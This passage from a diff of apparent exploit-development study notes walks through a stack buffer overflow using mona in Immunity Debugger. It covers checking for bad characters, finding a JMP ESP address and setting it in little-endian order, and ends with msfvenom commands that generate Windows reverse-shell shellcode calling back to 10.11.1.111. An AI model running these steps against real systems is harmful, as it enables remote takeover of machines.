+with script _badchars.py and
+"!mona compare -a esp -f C:\Users\IEUser\Desktop\badchar_test.bin"
+.1 AWESOME WAY TO CHECK BADCHARS (https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/):
+		a. !mona config -set workingfolder c:\logs\%p
+	    b. !mona bytearray -b "\x00\x0d"
+	    c. Copy from c:\logs\%p\bytearray.txt to python exploit and run again
+	    d. !mona compare -f C:\logs\%p\bytearray.bin -a 02F238D0 (ESP address)
+	    e. In " data", before unicode chars it shows badchars.
+. Find JMP ESP with "!mona modules" or "!mona jmp -r esp" or "!mona jmp -r esp -cpb '\x00\x0a\x0d'" find one with security modules "FALSE"
+.1 Then, "!mona find -s "\xff\xe4" -m PROGRAM/DLL-FALSE"
+.2 Remember put the JMP ESP location in reverse order due to endianness: 5F4A358F will be \x8f\x35\x4a\x5f
+. Generate shellcode and place it:
+msfvenom -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4433 -f python –e x86/shikata_ga_nai -b "\x00"
+msfvenom -p windows/shell_reverse_tcp lhost=10.11.1.111 lport=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python -v shellcode
+. Final buffer like:
